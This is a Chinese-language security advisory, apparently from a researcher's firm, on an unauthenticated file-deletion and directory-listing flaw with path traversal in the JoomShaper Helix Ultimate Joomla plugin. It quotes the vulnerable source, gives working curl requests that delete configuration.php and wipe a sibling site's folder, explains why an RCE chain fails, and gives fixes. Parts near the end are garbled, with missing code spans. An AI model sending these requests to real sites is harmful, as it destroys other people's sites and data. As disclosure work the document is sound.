这是一个已确认的拒绝服务 + 跨租户文件系统访问漏洞,并非远程代码执行。 关于远程代码执行升级的理论(删除 configuration.php 以重新暴露 Joomla 安装程序)已通过实际测试并被推翻——详见下文“远程代码执行升级——已测试并推翻”。在任何报告中,未经重新构建真实攻击链之前,不得将其描述为远程代码执行漏洞。
严重性升级(2026-07-06,第二轮评估): path 参数并未如最初评估的那样被安全限制在 Joomla 的 Web 根目录内——Joomla 的 PATH 输入过滤器并不阻止单个 /../ 遍历组件,因此此漏洞可以读取(完整目录列表;写入:删除文件或递归清空文件夹内容)Web 服务器用户可以访问的文件系统上的任何内容,而不仅仅是 Joomla 安装目录内的文件。在任何共享托管布局中,多个站点/租户作为同操作系统用户下的同级目录(极其常见:cPanel“附加域名”、共享系统用户的 Plesk 订阅、多数低成本托管),一个使用了 Helix-Ultimate 的站点允许匿名访客摧毁同一账户下的所有其他站点。详见下文“路径遍历完全绕过 JPATH_ROOT”。
组件: JoomShaper Helix Ultimate Framework(plg_system_helixultimate),几乎内置在每一个 JoomShaper Joomla 模板中(基于 Helix Ultimate)。
测试版本: 2.2.6(GitHub JoomShaper/helix-ultimate,2026-07 时的最新提交,最新推送 2026-06-30)
作者: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php 通过 helixultimate.php::onAfterRoute() 中的 Joomla com_ajax 调度钩子暴露了 deleteMedia()、getFolders() 和 createFolder()。这三个方法仅调用了 Session::checkToken()(一个普通的 CSRF 检查,任何匿名访客自己的会话令牌即可满足——该令牌可从站点首页 HTML 中获取)——完全没有 authorise() / 登录检查。这与同一类中的同级方法 uploadMedia() 不一致,后者正确地要求对 com_templates 具有 core.edit 权限。
由于这是一个系统插件,onAfterRoute() 会在每个请求上触发,无论当前激活的是哪个模板——只要插件已安装并启用(默认情况下,任何使用基于 Helix-Ultimate 的 JoomShaper 模板的站点都如此),漏洞代码路径即可访问。
plugins/system/helixultimate/helixultimate.php(大约第 464-489 行):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // 有 core.create/com_media 检查
case 'remove-blog-image': Blog::remove_image(); break; // 有 core.delete/com_media 检查
case 'view-media': Media::getFolders(); break; // 无 authorise() 检查
case 'delete-media': Media::deleteMedia(); break; // 无 authorise() 检查
case 'upload-media': Media::uploadMedia(); break; // 有 core.edit/com_templates 检查
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← 仅 CSRF,无 authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // 递归
}
$path 经过 Joomla 的 PATH 输入过滤器(InputFilter::cleanPath())。两个独立因素使其危险:
path 直接相对于 JPATH_ROOT 解析,因此任何相对于根路径的绝对路径(/configuration.php、/administrator/...、/media/...)已经可达。cleanPath() 的正则表达式(^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$)允许在开头的 [A-Za-z0-9_/-]+ 块之后立即出现一个由点/连字符/字母数字组成的序列——并且一个前导 / 单独就可以满足那个开头块,因此像 /../sibling_dir 这样的字符串可以干净地匹配:/(块1),..(允许的点序列),/sibling_dir(正常的尾部段)。该过滤器原本的想法是拒绝一个以点开头的新的 /… 组件,但从未预料到字符串的第一个字符后面紧跟着一个 。链式 (在第一个点序列之后,每个后续的 段必须以非点字符开头)——因此逃逸被限制在 之上目录层级,但该层级以下的所有内容(任意深度)随后可正常访问,因为后续段只是普通的非点路径组件。configuration.php → 立即、完全站点中断(“No configuration” 致命错误),一个 HTTP 请求,零身份验证。type=folder)→ 例如 /administrator、/components、/media → 破坏性更大,实际上会摧毁安装。view-media(Media::getFolders())未经身份验证泄露信息:列出所有图像文件、所有子文件夹名称以及在任意根相对路径下的绝对服务器路径,无需身份验证(下面用作 安全 检测信号)。针对一个一次性 Docker 实例(Joomla 5.4.6 + Helix Ultimate 插件 2.2.6,全新安装,完全匿名浏览器会话——未登录,除了 Joomla 分发给每个访客的 cookie 外无其他 cookie)进行测试:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."
在 Joomla Web 根目录旁边创建了一个同级目录(/var/www/canary_sibling,与 /var/www/html 同级),由与 Web 服务器相同的用户(www-data)拥有,以模拟真实的共享托管布局,里面放置了一个文件、一个图像和一个子目录:
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "<csrf-token>=1"
{"status":true, "path":"/../canary_sibling",
"images":["/var/www/html/../canary_sibling/proof.png"],
"folders":["subdir"], ...}
完全读取/枚举了一个完全位于 Joomla 安装之外的目录,包括解析后的绝对服务器路径,零身份验证。
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/../canary_sibling" \
--data-urlencode "type=folder" \
--data-urlencode "<csrf-token>=1"
结果:canary_sibling 内的每个文件(普通文件、图像和子目录)都被删除。只剩下现在为空的顶级 canary_sibling 文件夹本身,并且仅仅是因为在这个实验室环境中它直接位于 /var/www 下,由 root 拥有——删除空目录条目需要对其父目录拥有写入权限,而 www-data 对 /var/www 没有该权限。在真实的共享托管布局中(例如 /home/user/domains/siteA.com/public_html 和 /home/user/domains/siteB.com/public_html 作为真正的同级目录,两者都由同一账户用户从根到叶拥有),该最后的屏障不存在,同级站点的整个目录树都可以被删除。
显而易见的下一步猜测是:在一个从未删除 installation/ 的站点上,删除 configuration.php 将使安装程序向导再次可达,从而允许攻击者完成安装并创建一个新的超级用户。这已在实验室中直接测试,但并不成立:
installation/ 文件夹复制回 Web 根目录(模拟一个忘记删除它的站点)——此时 configuration.php 仍然存在且有效。302 Found -> /installation/index.php,包括漏洞利用本身的 POST 请求到 option=com_ajax&helix=ultimate&...&action=delete-media。漏洞代码路径在这种状态下从未执行——Joomla 核心先一步短路了所有内容。installation/ 存在:该站点已经对任何访客完全开放,可以接管,完全独立于本漏洞——这是一个预先存在的、不相关的 Joomla 错误配置,并非本漏洞导致或需要的。installation/ 不存在(正常的安全状态):本漏洞只能删除文件,无法创建 installation/ 文件夹——无法通过仅删除的原语重新暴露安装程序。结论:没有任何状态组合可以将其转变为远程代码执行。 已确认的、真实的危害上限是未经身份验证、无条件、有保证的完全站点拒绝服务(加上上面提到的未经身份验证的信息泄露)。这本身已经是严重级别发现,无需夸大远程代码执行的说法。
createFolder() 并非未经身份验证可达(早期草稿有误)该文档的早期版本声称 Media::createFolder() 也可以通过未经身份验证方式访问(作为除删除/读取之外的第三个原语)。这是错误的,在对插件的调度接线进行了全面检查后已更正:
createFolder() 以及代码库中真正的文件内容写入接收点(Request.php:fwrite(),用于模板样式/网络字体/CSS 缓存文件的 File::write())都位于 plugins/system/helixultimate/src/Platform/Request.php,仅通过 Platform::handleRequests() <- onAfterRespond() 调度。onAfterRespond() 明确要求 $this->app->isClient('administrator'),而 onAfterRoute() 在此之前会单独将任何未登录的访客重定向走。这条路径是真正需要管理员身份验证的——通过阅读确切的网关条件确认,而不是仅仅基于方法内部缺少 authorise() 调用(与站点端的 deleteMedia()/getFolders() 不同,后者真正没有任何网关)。isClient('site'))在 中的 switch 只连接了五个操作:、、()、()、(,它确实检查 /)。 不在其中。最终确认的未授权能力集:仅删除(文件或递归文件夹)+ 读取(文件夹/图像列表)。 此插件中不存在任何未经身份验证的内容写入原语。 这正是为什么即使在专门寻找后仍未发现远程代码执行链的原因——远程代码执行从根本上需要一个写入原语,而此漏洞类别不具有。
helix_ultimate_detect.py非破坏性。使用 action=view-media(文件夹/文件列表)作为证明信号——从不删除任何内容。
helix_ultimate_delete_poc.py(名称保留以保持连续性;仅确认拒绝服务)破坏性。需要显式 --delete <path> 才能接触任何内容。--rce 标志删除 configuration.php 并探测 /installation/ 纯粹是为了检查该文件夹是否碰巧已经存在(如果存在,则该站点无论此漏洞如何都已独立地完全开放)——它并不代表由本漏洞引起的真正升级;请参见上文“远程代码执行升级——已测试并推翻”。仅在有书面授权的情况下使用。
需要两个独立的修复,任何一个单独执行都足以阻止此漏洞:
src/Platform/Media.php 中的 deleteMedia() 和 getFolders() 中添加 uploadMedia() 已经具有的相同授权检查——至少需要 core.edit/core.delete 对 com_templates(或 com_media,匹配 Blog::remove_image() 的模式),然后才能执行任何文件系统操作。Amin İsayev / Proxima Cyber Security——2026 年。仅供教育/授权测试使用。
../../../../…JPATH_ROOTonAfterRoute()upload-blog-imageremove-blog-imageview-mediaMedia::getFoldersdelete-mediaMedia::deleteMediaupload-mediaMedia::uploadMediacore.editcom_templatescreate-folder